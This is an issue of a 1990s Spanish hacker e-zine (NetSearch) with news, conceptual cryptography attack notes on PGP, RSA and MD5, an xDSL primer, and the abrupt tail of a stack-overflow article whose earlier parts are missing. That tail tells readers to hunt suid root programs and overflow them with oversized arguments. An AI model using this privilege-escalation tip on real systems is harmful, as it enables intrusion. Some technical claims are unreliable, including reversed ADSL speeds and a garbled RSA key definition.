Académique Documents
Professionnel Documents
Culture Documents
x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-
+----------------------------------------------------------------------------+
| NOTA: Ninguno de los autores que han colaborado se hacen responsables de |
| lo que ignorantes o desaprensivos puedan hacer una vez hayan leido |
| sus respectivos articulos. |
+----------------------------------------------------------------------------+
- WEB OFICIAL:
http://members.xoom.com/lynux
- CANAL OFICIAL:
#netsearch , en el IRC-Hispano
- MAIL OFICIAL:
netsearch@hushmail.com
- DISTRIBUIDORES OFICIALES:
http://members.xoom.com/lynux
http://hello.to/hacker_novatos
http://www.pasanet.es/usuarios/fgarcia/index.html
(Si quereis distribuir el e-zine, ya sabeis...
mailto: netsearch@hushmail.com)
- LLAVE PGP OFICIAL:
<++> pgpkeys/netsearch.asc !f41d06ff
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGPfreeware 6.0.2i
mQGiBDdNtK8RBADmtbXlNKi+UO3lcGNh+aYC3YSWxpEN8mQNw1GNFPafO7Ftmrgm
6Hhb3JLvcbKks4q9yFXK58wmavHWWpSY+9NNKSl+kvePhvQ4yfG8x+fQLuUAYPJB
0XTAsO8diSs0PvpvyLVw2prOHeYJCM1BUN/WNA5oio6tXK3oUIQq0rTndQCg/zy7
xSjIpPpc4ZqXJ6PHPZKAgbcD/3CSW6G6BFubj6pF/Wk4UMpx53ZjdyuPJ2iRvR9S
im4gGsRZfSFQEc2eWc5xb75LO/E50FZTVNQozIYrPfTYPake4T/Y9SA6wPfXF3Nq
0ZD/tzwGcdi2SdzyYLS2jHThkV5UVLyXTwzvK7vAbPJLF/83eUgwvMGoZkRHkeB/
PJ9jA/4gkkt4pEouNQmKmUdp9vWEatiA6Ext61rERcpfo88XDGwrcnb6Mv+VOc02
XUe48tZHlkjyEiB7ifAQs/omFx4VLvhpSnJwM6uamuzNXceNlcrl5OVk2LeC5uTA
p/nQRbU8IqtZ1zxf5Gw5ZDsvv83c4Iq+HtzVZjgiIESo9Nac5rQiTmV0U2VhcmNo
IDxuZXRzZWFyY2hAaHVzaG1haWwuY29tPokASwQQEQIACwUCN020rwQLAwIBAAoJ
EPVhoR6NPrDn9AQAoOJOScrhApVlxNd3160jstjNF+RDAJ4/jWftDyIGQaFaSAR0
Wa7LgjVJYLkCDQQ3TbSvEAgA9kJXtwh/CBdyorrWqULzBej5UxE5T7bxbrlLOCDa
AadWoxTpj0BV89AHxstDqZSt90xkhkn4DIO9ZekX1KHTUPj1WV/cdlJPPT2N286Z
4VeSWc39uK50T8X8dryDxUcwYc58yWb/Ffm7/ZFexwGq01uejaClcjrUGvC/RgBY
K+X0iP1YTknbzSC0neSRBzZrM2w4DUUdD3yIsxx8Wy2O9vPJI8BD8KVbGI2Ou1WM
uF040zT9fBdXQ6MdGGzeMyEstSr/POGxKUAYEY18hKcKctaGxAMZyAcpesqVDNmW
n6vQClCbAkbTCD1mpF1Bn5x8vYlLIhkmuquiXsNV6TILOwACAgf+J1V8az258WwN
oq94skl6hgk0nH8spoP+gLHqtVJFwb1zM1O+dwJHSiiEGkwpY72rOijQcbghJ4XF
SNZMIKgqMsVakQRQhoagQ+vrWEGZpZxD42GQX63eJyKgsp6ihcez+arKKScm5NF0
xmkB2un65H3hVjv7gD1g9TyRbIbcqvSmQkEZ5ll+xAMx4gmgziBrrfPoGYBpqAhZ
IfFSIJDruJQSzPtPJpeZelHfeJvAMeLkKVBxT+Mgwftf91o8X/pU7BzhF/NjdsaA
Gu16yjq3AI6+Wn6ovR8pF87VrviiI+vyf82YXmvuVjhpW1qEhGRwTGFdWxE6c4iQ
BhAHgAuz44kARgQYEQIABgUCN020rwAKCRD1YaEejT6w58kRAKCvCnP3pzN64IOF
HgCtgNhYwXNzIQCeIKD1tbTqiBYZVFBG9mVdKhkPOGw=
=PjV/
-----END PGP PUBLIC KEY BLOCK-----
<-->
- COLABORACIONES:
* cafo - encmesiah@bigfoot.com
* Sp4rK - sp4rk@undersec.com
* RaiSe - raise@biogate.com
* MegadetH - crazyjm@beer.com
* MoebiuZ - moebiuz@biogate.com
* DarK FeaR - darkfear@hotpop.com
* [LsD]-MT - dafo@arrakis.es
(Traduccion del e-zine a formato HTML)
- SALUDOS:
* - J.J.F. / HACKERS TEAM -
* SET
* UnderSec / NGS Team
* A la gente que colaboro con nuestro primer numero
(Ulandron, cafo, RaiSe, MegadetH y MoebiuZ)
x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-
+ INDICE:
+-------------------------------------------------+---------------+
| TITULO | AUTOR |
|-------------------------------------------------+---------------|
| + Editorial | DarK FeaR |
|-------------------------------------------------+---------------|
| + NetSearch al Habla | NetSearch |
|-------------------------------------------------+---------------|
| + Criptografia (II) | cafo |
|-------------------------------------------------+---------------|
| + xDSL y otras alternativas de conexion | Sp4rK |
|-------------------------------------------------+---------------|
| + Curso de Programacion en Pascal (II) | DarK FeaR |
|-------------------------------------------------+---------------|
| + Desbordamiento de la pila | RaiSe |
|-------------------------------------------------+---------------+
| + Breves sobre SATAN | MegadetH |
|-------------------------------------------------+---------------|
| + Iniciacion a los Virus de Macro (II) | MoebiuZ |
|-------------------------------------------------+---------------|
| + Correo Fresco | Lector@s |
|-------------------------------------------------+---------------|
| + Llaves PGP | NetSearch |
|-------------------------------------------------+---------------|
| + Fuentes del NetExt | cafo |
|-------------------------------------------------+---------------|
| + Despedida | NetSearch |
+-------------------------------------------------+---------------+
==============================================================================
------------------------------------------------------------------------------
==============================================================================
+---------------------+
| .oO Editorial Oo. |
+---------------------+
Buenas gente. Pensabais que no ibamos a volver? jeje, pues hemos vuelto,
y con mas fuerza xD (donde habre visto yo eso ;). Por lo visto el e-zine
ha tenido una buena aceptacion, lo que nos ha animado a continuar con el.
Tenemos muchas cosas que contaros respecto a lo que ha pasado ultimamente
en lo que concierne a NetSearch, pero eso ya tiene su seccion :P. Otra cosa,
vamos a ver, es que a lo mejor no se me entendio bien y tal...
!!! NECESITAMOS VUESTRAS COLABORACIONES !!!
... ahora? Lo dicho, ademas de las colaboraciones "internas" necesitamos que
gente que nos lee (hay alguien? :P) escriba articulos. No esperamos
colaboraciones masivas con doscientos mil articulos por segundo pero con
tres o cuatro por numero nos conformamos ;)
La seccion de Correo Fresco no ha tenido mucho exito (como era de
esperar, por otra parte) asi que en este numero quedara "en suspension",
esperando que para el numero 3 (que lo habra, vamos si lo habra ;) tenga
mas exito. Solo deciros que recibimos 2 mails, el primero, mandaba un
articulo pero, a causa de que ya habia salido en otro e-zine, decidimos
no repetirnos (por cierto, saludos HooK). El segundo tiene relacion con la
siguiente seccion (NetSearch al habla) y el reto del RC5-64... bueno no os
lo adelanto, si tanto os interesa saltad directamente a la siguiente
seccion :P
Espero que os guste este segundo numero,
DarK FeaR
- El editor -
==============================================================================
------------------------------------------------------------------------------
==============================================================================
+------------------------------+
| .oO NetSearch al habla Oo. |
+------------------------------+
Que hay de nuevo por NetSearch? buff... muchas cosas, en este corto
periodo de tiempo han pasado bastantes cosas, pero podemos resumirlas en
tres, yo creo que las tres de bastante importancia.
Empecemos. Os las explicare por orden cronologico :P. La primera,
tiene relacion directa con cafo. Como ya se ha explicado en la lista de
correo, cafo ha rediseado el extract de la phrack. El programa, en un
principio tenia la funcion de buscar por un archivo de texto unas
determinadas etiquetas. Una vez encontradas, el contenido que se hallara
entre la etiqueta de inicio y la de fin seria extraido a un archivo aparte
cuya ruta se encontraba tambien definida. Hasta aqui no ha habido ningun
cambio. Lo que cafo ha hecho ha sido darle la capacidad al programa de hacer
la comprobacion del crc32 al archivo a extraer, asegurando asi su integridad
y veracidad. Asi que si enviais un articulo al e-zine, y este contiene
algun codigo fuente o cualquier cosa a extraer, los pasos que debeis realizar
son los siguientes:
1- "Pasarle" al archivo que incluireis en el articulo el programa crc-32b,
cuyas fuentes las podeis encontrar en el articulo sobre criptografia
de cafo. Este programa os dara el crc32 del archivo.
2- Pegad el archivo en el articulo y poned al principio la entiqueta <++>
y al final la etiqueta <--> (Tened en cuenta el EOF).
3- A la derecha de la etiqueta <++>, y separado por un espacio, el path
donde se extraera el archivo (algo asi como prueba/prueba.c).
4- A la derecha del path y separado de nuevo por un espacio, un signo de
admiracion (!) y inmediatamente despues el crc32 que os dio anteriormente
el crc-32b.
Mas o menos, en la practica quedaria algo asi:
<++> ejemplo/ejemplo.txt !9f0e8db9
Esto es una prueba de extraccion con el netext.
<-->
Creo que ha quedado mas claro con el ejemplo :).
La segunda. Como todos sabeis NetSearch cuenta desde hace un tiempo
con un equipo que participa en el reto del RC5-64 de distributed.net. Pues
bien, desde hace poco nos encontramos en batalla contra los grandes de la
scene :P. Si, estamos en la liguilla de e-zines de habla hispana que lleva
SET. En esa liga participan, ademas de otros, SET y - J.J.F. / Hackers Team -.
Esto no ha hecho sino animarnos mas y desde hace unas semanas el equipo de
NetSearch no hace mas que aumentar puestos (+NetBul, mirate las estadisticas
:P). Asi que ya podeis empezar a temblar (buuuu xD). Venga, os recordamos que
podeis uniros a nuestro equipo si asi lo deseais (es mas, os lo pedimos :P).
El numero de identificacion es el 11007. Si no sabes como va todo este rollo
pasate por la pagina de NetSearch (http://members.xoom.com/lynux) y le echas
un vistazo a la seccion RC5.
==============================================================================
------------------------------------------------------------------------------
==============================================================================
+-----------------------------+
| .oO Criptografia (II) Oo. |
+-----------------------------+
Criptografia (y 2)
====================
by cafo
-------
Holas a todos de nuevo.
Posiblemente muchos de vosotros me habrei crucificado por el articulo
anterior, ya que hasta yo reconozco que se daba un salto muy grande en la
dificultad de los algoritmos explicados pero, como dije en su momento, el que
pueda hacerlo mejor que lo haga y me mande una copia ;)
En este segundo numero voy a seguir explicando algoritmos de criptografia y
alguno mas que, como el crc, no son sistemas criptograficos propiamente dichos
pero como nos lo estamos encontrando continuamente, siempre es bueno saber que
hacer con ellos (y como modificarlos llegado el caso), aparte de una breve
introduccion a los ataques que se pueden efectuar contra el PGP.
Concretamente, en este articulo voy a tratar:
crc32 -> Metodo de verificacion de informacion.
md5 -> Uno de los estandares de la criptografia moderna.
Ataques contral el PGP -> eso mismo.
Es cierto que es bastante escaso, pero por ahora no tengo tiempo para hacer
otra cosa, y mas teniendo en cuenta que los algoritmos que me gustaria
explicar (lease blowfish, twofish, ECC y demas) son bastante densos y
dificiles de transcribir a un articulo a partir de sus especificaciones
originales (por poner un ejemplo, el documento original en ingles del twofish
ocupa 68 paginas de explicaciones sobre todos los cambios de bits que realiza
el algoritmo). En cualquier caso mi intencion es explicarlos, asi que muy
probablemente los vereis en el proximo numero.
Atacando al PGP
=================
IMPORTANTE: es posible que lo que viene a continuacion lo hayais
leido en algun otro e-zine. No lo se y no tengo
tiempo (ni por supuesto ganas) de leermelos todos
para comprobarlo. De todas formas no tengo reparo en
admitir que es una traduccion cuasi-literal del original
al que podeis acceder en:
http://axion.physics.ubc.ca/crypt.html
y si lo incluyo es para dar una perspectiva de lo que
hay que hacer para romper uno de estos algoritmos
(y que alguno de vosotros ya esta intentando hacer con el
RC5)
En este apartado voy a intentar resumir los diferentes tipos de ataques que
se pueden realizar contra nuestro querido sistema de criptografia publica
(NOTA: en esta explicacion voy a usar la notacion que use en el numero 1
para que los que lo leyeron puedan seguir el articulo con una minima
base)
Empecemos con un resumen de lo que es el PGP.
Como ya comente en al numero pasado, el PGP es un sistema criptografico
hibrido, es decir, que no utiliza exclusivamente un solo algortimo para sus
fines. Concretamente, el PGP esta compuesto por una funcion de cifrado
simetrico (IDEA), una funcion de cifrado asimetrico (RSA), una funcion
hash de una sola direccion (MD5) y un generador de numeros aleatorios (PRNG,
por eso de Pseudo Random Number Generator). Si os extraa que el PGP os pida
que introduzcais texto al azar para generar los numeros primos teniendo ya
un generador de numeros aleatorios, solo comentare ahora que lo que vosotros
introducis se utiliza como inicio (o semilla utilizando la jerga computacional)
de la funcion creadora de los numeros aleatorios.
Pues bien, como siempre es mas probable encontrar alguna debilidad en alguna
parte que en el conjunto entero, vamos a ver los ataques que se pueden
realizar con cada una de las partes del PGP.
ataques contra IDEA
----------------------
Este apartado va a ser muy corto ;-)
El IDEA se acabo de perfilar en 1992 y hasta la fecha no ha habido avances
significativos en su criptoanalisis (por lo menos que se hayan hecho
publicos, lo que hagan los chicos de la NSA con el no podemos saberlo,
verdad?), por lo que el unico ataque posible es el de la fuerza bruta, es
decir, probar con todas las posibles combinaciones hasta encontrar la
correcta.
Pues lo de siempre: se necesitaria la edad del universo para considerar
todas las posibilidades.
En conclusion, hasta la fecha IDEA no es vulnerable.
ataques contra el RSA
-----------------------
El RSA ya esta explicado en el articulo anterior. De todas formas vamos a
resumirlo rapidamente para no perdernos:
- Se buscan dos numeros primos 'm' y 'n' muy grandes (mas de 100 cifras)
- Se busca el producto de 'm' y 'n', 'k'
- 'e' y 'd' son respectivamente las claves de encriptacion y desencriptacion
- 'd' es un numero natural coprimo con el producto (m-1)(n-1)
- 'e' es uno de los maximos divisores comunes entre 'd', (m-1) y (n-1)
- las claves publicas y privadas son respectivamente (e,k) y (d,k), esto es,
una combinacion de las claves de encriptacion con el producto de m y n.
- 'm' y 'n' no deben conocerse para garantizar la seguridad.
- La funcion de encriptacion se da como E = t^e mod k == C y la de
desencriptacion como D = C^d mod k donde 't' es el mensaje original y 'C'
es el texto cifrado (lo que mandamos por correo :)
Despues de este breve repaso vamos a ver las posibilidades de ataque.
1.- Fuerza bruta.
-----------------
En un ataque corriente el atacante lo unico que tiene es la clave publica
con la que se ha encriptado un mensaje, esto es, tiene 'e' y 'k' y lo que
necesita es descubrir la clave privada, es decir, lo que esta intentando
averiguar es 'd'. El mejor metodo conocido hasta la fecha para encontrar
'd' mediante fuerza bruta es la factorizacion de 'k', ya que sabiendo
sus factores (es decir, conociendo 'm' y 'n') se puede encontrar 'd' como
numero coprimo de ambos (si estais pensando en deducir 'd' a partir de
(m-1) y (n-1) olvidadlo porque a esos niveles de cifras la dificultad se
hace exponencial a la cantidad de cifras). Ahora os pongo el nombre de los
algoritmos mas comunes para factorizar 'k' por si teneis interes en
buscarlos. Solo tengo que advertir que los he puesto en orden de velocidad
creciente, por lo que si lo que quereis es una ayuda en la programacion
de vuestro propio algoritmo, os aconsejo que cojais el primero y lo
estudieis:
- Trial division (prueba de divisiones sucesivas): es el mas antiguo
y sencillo, y tambien el menos eficiente. Su crecimiento es
exponencial y se basa en probar todos los numeros primos
menores que la raiz cuadrada de 'k'.
- Quadratic Sieve (QS para buscarlos en los motores de busqueda):
es el algortimo mas rapido para numeros de menos de 110 cifras.
- Multiple Polynomial Quadratic Sieve (MPQS): lo mismo pero mas
rapido.
- Double Large Prime Variation of the MPQS (tiene otro nombre, pero
con este lo he encontrado muy facilmente en altavista ;): mas
rapido todavia.
- Number Field Sieve (NFS };-): por ahora el algoritmo mas rapido para
numeros de mas de 110 cifras.
De este tipo de ataques solamente decir que las teorias matematicas avanzan
muy rapido y es facil que se encuentren nuevos algoritmos para mas de 110
cifras que sean mucho mas eficientes. Es mas, como todos sabreis, Aid
Shamir (el que puso la 'S' a la RSA) desvelo el 4 de mayo el prototipo
de una maquina que era capaz de superar a un superordenador en la
factorizacion de claves de menos de 512 bits por un precio muchisimo menor.
2.- Ataques no directos.
------------------------
Como podreis imaginar, estos ataques no se basan en algun fallo del
algoritmo sino que buscan algun error en la implementacion del mismo. Como
el PGP ha demostrado no tener estos errores, pasamos de ellos.
3.- Ataque de texto cifrado.
----------------------------
En esta ocasion el atacante lo que quieres es descifrar un texto en
particular que haya cogido, por ejemplo, espiando las comunicaciones de la
victima. En otras palabras, lo que esta buscando es el texto 't', es decir,
C^d de la formula de desencriptacion (damos por supuesto que el atacante
posee la clave publica de la victima, o sea, que posee 'e' y 'k').
Lo que hace el ataque es elegir un numero al azar 's' menor que 'k' y
despues sigue estos pasos:
a) se encripta 's' con la clave publica que tiene ( X = s^e mod k)
b) Multiplicamos el texto cifrado 'C' con la formula que hemos
obtenido antes: Y = XC mod k
c) hacemos la inversa de 's mod k': R = s^-1 mod k
Ahora, conociendo el hecho que si 'X = s^e mod k', entonces 's = X^d mod k'
(repasad la teoria del articulo anterior ;), lo unico que tiene que hacer
el atacante es conseguir que la victima le firme Y (los documentos se
firman con la clave privada) con lo que ya tendria 'U=Y^d mod k' (esto
es Y con la firma correspondiente de la victima) y ya lo tendriamos todo
hecho. Lo unico que habria que hacer son unas simples operaciones:
RU mod k == (s^-1)(Y^d) mod k == (s^-1)(X^d)(C^d) mod k == C^d mod k == t !!
O sea, que para evitar este tipo de ataques lo unico que se debe hacer es
no firmar documentos extraos ;-)
4.- Problemas cuando 'e' es muy bajo.
-------------------------------------
Veamos, si la clave de encriptacion 'e' es muy baja (usualmente se prueban
los valos 3,17 y 65537, no pregunteis por que ;) entonces la velocidad de
las operaciones es mucho mayor. El unico problema para usar valores muy
bajos es que el mensaje sea tambien muy corto. Explicado con un ejemplo:
si tomamos el valor 'e' como 3, y queremos encriptar en mensaje 't',
pero da la casualidad de que 't' es menor que la raiz cubica de 'k',
resulta que la operacion de encriptacion (E=t^3 mod k) resulta equivalente
a 't^3', con lo que para volver a tener 't' solo tenemos que hacer una
simple raiz cubica.
Solucion: hacer que 't' sea desde el principio (mediante alguna operacion
aleatoria) mayor que 'k'.
Consecuencia: el PGP hace esto y no es vulnerable al ataque ;) (en realidad
el PGP usa valores de 'e' bajos siendo el valor por defecto 17; si no puede
sacar 'd' con 'e' igual a 17, entonces pasa a 'e' igual a 19, y asi
continuamente.).
Hay mas tipos de ataque, como el ataque por calculo de tiempo (que se basa
en que el RSA siempre tarda el mismo tiempo en hacer la misma operacion, por
lo que observando el proceso de encriptacion, en una red por ejemplo, se
puede llegar a averiguar 'd' a partir de 'C'), pero el PGP los ha ido
solucionando a traves de sus diferentes versiones, asi que no voy a
comentarlos aqui.
Ataques al MD5
----------------
Como he comentado mas arriba, el MD5 se usa para sacar un numero
identificativo de cada mensaje. Vamos directamente a los medios de ataque.
1.- Ataques de fuerza bruta.
----------------------------
Teoricamente, la resistencia de una funcion hash se define como la
capacidad de, dado un determinado mensaje, sacar un identificativo unico
para ese mensaje. Cuanto menos probabilidades de hacer que saque resultados
erroneos (no unicos) mas fuerte sera el algoritmo. Hay dos tipos de ataques
de este tipo:
1.a - ataque de fuerza bruta clasico: la salida del md5 es un numero
de 128 bits y el reto es encontrar otro mensaje que produzca
la misma salida. Como siempre: en una maquina que pudiera
probar mil millones de combinaciones por segundo se tardarian
1.07e22 aos, asi que nada :).
1.b - ataque por colision: Lo mismo que antes, se trata de encontrar
dos mensajes con resultados identicos, pero aqui se utilizan
metodos probabilisticos muy bien planteados para obtenerlos.
En concreto: dados un numero de mensajes 'n' y un numero
de posibles salidas 'k', se pueden crear n(n-1)/2 parejas
con los mensajes iniciales (logico, no?) y existe 1/k
posibilidades de encontrar una pareja que produzca el mismo
resultado. Por eso, si cogemos k/2 parejas tenemos un 50%
de probabilidades de encontrar la pareja correcta. Si
'n' es mayor que la raiz cuadrada de 'k', vamos obteniendo
mas posibilidades de encontrar dicha pareja, y seguimos
iterando de esa manera. Concretamente para el MD5 se
necesitan 2^64 mensajes iniciales para que esto tenga solucion
y, suponiendo que disponemos del mismo ordenador del ataque
anterior, "solo" tardariamos 584 aos en verificarlos todos.
==============================================================================
------------------------------------------------------------------------------
==============================================================================
+-------------------------------------------------+
| .oO xDSL y otras alternativas de conexion Oo. |
+-------------------------------------------------+
0. ( Indice )
1.- Presentacion
2.- xDSL
3.- ADSL
4.- Ventajas e inconvenientes de xDSL
5.- Modem cable
6.- Ventajas e inconvenientes del modem cable
7.- VDSL, SDSL y HDSL
8.- Tarifa Plana en Espaa
9.- Opinion final
1. ( Presentacion )
Este documento intenta explicar de una manera muy sencilla y breve la
tecnologia DSL, su implantacion y variantes.
No hace falta tener grandes conocimientos de nada para entender este documento
tan solo ganas de leer.
Quizas no sea lo suficientemente tecnico para que a algun "guru" del mundillo
le sirva, lo siento por ellos :)
2. ( xDSL )
Se llaman xDSL a todo un grupo de tecnologias que usando las actuales lineas
de cobre, permiten una conexion mucho mas rapida que la actual.
La tecnologia DSL fue desarrollada por Bellcore, una division de Bell que se
dedica a investigacion.
DSL - Digital Subscriber Line, Linea de Abonado Digital. Se llaman las
tecnologias DSL porque los nombres de cada una de ellas acaban en DSL, estas
son:
- SDSL -> Single-line/Symmetric Digital Subscriber Line
- ADSL -> Asymmetric Digital Subscriber Line
- RADSL -> Reverse Asymmetric Digital Subscriber Line
- HDSL -> High data rate Digital Subscriber Line
- VDSL -> Very High data rate Digital Subscriber Line
- VADSL -> Very High speed Digital Subscriber Line (es igual que VDSL)
Cada una de estas tecnologias se diferencia de las otras en cuanto a velocidad
y distancia a la central, ya que las "magnificas" lineas de cobre actuales,
cuanto mayor sea la distancia del modem a la central, peor la transmision de
datos.
3. ( ADSL )
ADSL - Asymetric Digital Subscriber Line, Linea Asimetrica de Abonado Digital.
Aunque nos pueda parecer nueva, esta tecnologia no es nada nueva, es mas, hace
mas tiempo que existe del que posiblemente tu estes conectado. De aqui el
llamarlas antes "nuevas viejas" tecnologias, ya que aunque son viejas, se
presentan como algo nuevo.
Esta linea perece ser la mejor opcion para el uso domestico dadas su relacion
velocidad/precio.
Las lineas ADSL permiten una velocidad de transmision muy rapida comparada con
los sistemas actuales. Maximo 8,448Mbps (ADSL) contra 128kbits/s (RDSI). Pero
como no es oro todo lo que reluce, son, no son 8Mbps.
El hecho que en su nombre aparezca Asymmetric, justifica el que esta linea
pueda transmitir a muchas mas datos de los que puede recibir.
Es decir: podras llegar a transmitir a 8Mbps pero recibiras como maximo a unos
0.8Mbps
Igualmente, la velocidad de recepcion es alta, aunque casi 10 veces menor que
la de transmision.
He dicho 8Mb/s, pero esto es el maximo. A ver, os explico:
Normalmente las compaias telefonicas o el proveedor de acceso, dependiendo
del caso, os limitaran el acceso. Es decir, quizas lo ofrezcan en rangos de
128kbps a los 8Mbps por segundo, aplicando tarifas mucho mas caras en el
segundo caso.
Las lineas ADSL usan un modem especial, es decir, tu modem actual no te sirve.
Pues como va esto ?
El proceso de instalacion es un "poco" complicado. La compaia telefonica,
debe instalar un "discriminador" tanto en tu casa como en la centralita. Y que
es un discriminador? Pues un aparato que tiene dos conectores, a los
que conectas el susodicho modem y tu telefono normal y corriente. Este
discriminador distinge entre llamadas de datos y de voz.
Como la velocidad del puerto serie no es suficiente para un modem ADSL pues
este se conecta normalmente a una tarjeta de red instalada en tu ordenador.
4. ( Ventajas e inconvenientes de ADSL )
Ventajas:
- Velocidad de conexion alta
- Conexion permanente
- No hace uso del telefono por lo que se suprime el gasto telefonico
- La capacidad no se comparte con otros usuarios
Desventajas:
Las desventajas de este tipo de lineas no son tecnicas, sino mas bien
politico-comerciales. Entre estas destacan:
- Los modems ADSL son caros.
- El coste mensual es demasiado elevado aun para un usuario normal. En EEUU
son unas 5000 pts por mes.
- El mal cableado puede provocar una importante reduccion del rendimiento y
de la velocidad.
- Podria producirse un monopolio ya que solo cubren el tramo que va desde
tu casa hasta la central telefonica, con lo que si algun ISP no puede
instalar sus equipos en la central es solo la compaia telefonica quien
puede permitir el acceso ADSL.
5. ( Modem Cable )
El modem cable es una tecnologia muy conocida en paises de fuera de nuestras
fronteras, alli ya disponen desde hace mucho de television por cable, que
permite una calidad de imagen muchisimo mas alta y una oferta de canales mayor
Nosotros hemos tenido que esperar a la liberalizacion de las comunicaciones
para poder empezar a disfrutar de algunas de estas tecnologias.
Hasta ahora, el cable era usado para la television y poco mas, viajaban
cientos de canales y de informacion cifrada por un pequeo cable y con una
calidad realmente asombrosa. Gracias a los ultimos avances en las
telecomunicaciones se ha conseguido transmitir datos a traves de este mismo
cable.
El metodo usado es este: Los datos se envian en forma de impulsos electricos,
como si fuesen datos de television con la unica diferencia de la frecuencia de
estos, en este caso va de 42 a 750MHz. Cuando estos llegan al usuario, el
ordenador no puede "entenderlos" por lo que hace falta algo que pase la
informacion de impulsos electricos a datos que el ordenador pueda interpretar,
aqui entra en juego el modem cable.
El documento cable.jpg os lo muestra de una manera mas grafica.
[ NOTA: La imagen JPG de la que habla Sp4rK esta disponible en UnderSec
http://www.undersec.com/ ]
Si os fijais en el dibujo, ademas de todo lo comentado aparece algo nuevo:
La tarjeta de red. La funcion de esta es la de enviar los datos del modem
a tu ordenador, de una manera rapida, porque, igual que en ADSL, el puerto
serie no es suficientemente rapido.
Asi que resumiendo, para bajarte una archivo de Inet con un modem cable, pasa
algo asi:
1- Una vez pedido el archivo, este se fragmenta en paquetes.
2- Cada paquete llega a la central telefonica, donde se convierte en un
impulso electrico.
3- Este impulso llega a tu casa, donde el modem cable lo convierte otra vez
en el paquete original.
4- El modem cable envia, a traves de la tarjeta de red, cada uno de los
paquetes a tu ordenador.
Las velocidades que alcanza un modem cable van desde 1'54 Mb/s a 10 Mb/s.
En el envio de datos, parece que el modem cable ya tiene unos estandards,
estos son:
-QPSK -> Que consigue velocidades de unos 10Mb/s
-QAM64 -> Que consigue velocidades de unos 36Mb/s
Ademas, en el envio de datos, no hay ningun problema de interferencias entre
frecuancias. Donde aparecen algunos problemas es en el envio de datos que van
al proveedor de television, que van a un frecuencia de 5 a 40 MHz, con lo que
pueden aparecer muchos mas errores, causados por los ruidos y hasta un retraso
en el envio de datos.
Para eso, en este caso, se usa el modelo de modulacion QPSK, que al transmitir
a una velocidad inferior, consigue reducir el nivel de interferencias y ruido
en la linea.
6. ( Ventajas e inconvenientes del modem cable )
Ventajas:
- La gran velocidad que este pude alcanzar
- Que no haga uso de la linea telefonica, con lo que permita poder
llamar sin tener que "desconectarse"
- Conexion permanente a internet
- El no hacer uso de la linea telefonica permite una supuesta Tarifa
Plana.(despues entenderas el porque de este "supuesta")
Inconvenientes:
- La instalacion resulta un poco cara y complicada.
- El precio de conexion es elevado.
7. ( SDSL, HDSL y VDSL )
VDSL se trata de una version mucho mas rapida de ADSL. Consigue unos ratios de
transferencia de recepcion de 55Mbps y de envio de unos 2.3Mbps.
Usa dos canales, uno para recepcion y otro para envio y los dos pueden ser
dividos usando los servicios actuales RDSI.
SDSL es una version de un solo canal de VDSL. Esta limitado a distancias mas
cortas, pero llega a transmitir a 2,048Mbps a distancias de mas de 3
kilometros.
HDSL es la version duplex de ADSL. Mientras que ADSL usa tan solo un cable,
HDSL usa dos. Llega a transmitir a velocidades de mas de 2Mbps.
8. ( Tarifa Plana en Espaa )
Ultimamente el tema de la tarifa plana en Espaa se esta cuestionando
fuertemente, por lo que voy a hablar un poco de lo que se pretende hacer o las
opciones que hay.
Por lo que parece ser el Ministerio de Fomento quiere implantar la tarifa
plana haciendo uso de ADSL. Si, todo parece muy bonito, pero esperad un
momento.
.. dijeron ADSL y algo mas...
ADSL Lite. :?. Pues si.
ADSL Lite es una version de ADSL pero a lo cutre (como todo lo que se hace en
Espaa). Permite una conexion a una velocidad menor pero tambien una reduccion
en el coste de la linea.
Bueno, la idea no es mala. Pero cuanto tardaran en implantarla ? BINGO !!!
Acertaste la pregunta clave... pues se ha hablado desde 6 meses hasta el ao
y medio, asi que como siempre, calcula... de 6 a 18 meses... pues digo yo que
un ao.
El tema de conexion a Internet por cable (lease CTC, Telecable, etc) es algo
que va a traer mucha polemica. Y porque ? Pues porque, si, la conexion es
rapida, pero como se va a facturar ? Tarifa Plana ? o tendremos que pagar por
el numero de bytes recibidos ? A cuanto ira el byte ? A 0'1 pts? 0'001 euros?
Quien sabe, eso es algo que aun hay que discutir y que, como decia, va a traer
mucha polemica.
En la actualidad se esta ofreciendo una "tarifa plana" por estos servicios de
conexion por cable. Se pagan X pesetas al mes y se te ofrece conexion a
Internet por cable a una velocidad X y con unos aadidos (o sustraidos :) X.
9. ( Opinion final )
Pienso que ADSL (o ADSL Lite, es igual) es una opcion mas a tener en cuenta.
Lo que veo es que seguimos haciendo las cosas "a la espaola" y en lugar de ha
cer un cambio que va a ser mucho mejor para todos, seguimos intentando reutili
zar todo lo que podemos. Vale, de acuerdo con que esto esta bien. Pero es que
si todo lo hacemos asi (y siento decir que si) vamos a acabar mal.
Tan solo hace falta ver en que posicion esta Espaa en respecto a los otros
paises en lo que a Internet se refiere. La verdad, da pena que un pais que
tiene tantas ganas de abrirse al nuevo mundo, de renovarse, se vea frenado por
una pandilla de ineptos que se hacen llamar ministr... bah, es igual.
Es una pena que todo un pais dependa de las decisiones de un bigotudo
personaje y de sus pateticos subordinados. Y no voy en contra de ningun
partido en concreto, voy en contra de toda politica que vaya en contra de la
proliferacion de la tecnologia en Espaa.
Un saludo,
Sp4rK
Sp4rK is a member of UNDERSEC / NGS TEAM
sp4rk@undersec.com
http://www.undersec.com/
==============================================================================
------------------------------------------------------------------------------
==============================================================================
____________________________________________
| |
| Desbordamiento de la pila |
| |
--------------------------------------------
+-------------+ -1024(%ebp)
| 1024 bytes | -> variable s
+-------------+ 0(%ebp)
| ebp | -> posicion actual de la pila
+-------------+ 4(%ebp)
| ret addr | -> direccion de retorno
+-------------+ 8(%ebp)
| argc |
+-------------+ 12(%ebp)
| argv |
+-------------+ 16(%ebp)
| envp |
+-------------+
Luego es buscar programas suid root por ahi, y probar a meterle parametros
muy grandes a ver si hace un Segmentation fault, y si lo hace averiguar de
cuanto es la variable (suele ser un multiplo de 256), por ejemplo mirando el
el codigo fuente. Por supuesto, el programa tiene que estar suid root, que
sino no sirve de nada jeje, o por lo menos suid algo (mail por ejemplo,
para leer el correo).
Bueno, y se acabo el articulo. Tengo que dar las gracias a ulandron que me ha
ayudado mucho proporcionandome informacion y alguna que otra clase teorica ;).
Y un saludo para sp4rk, dark_fear, gamerx y a toda la pea del #hacker_novatos
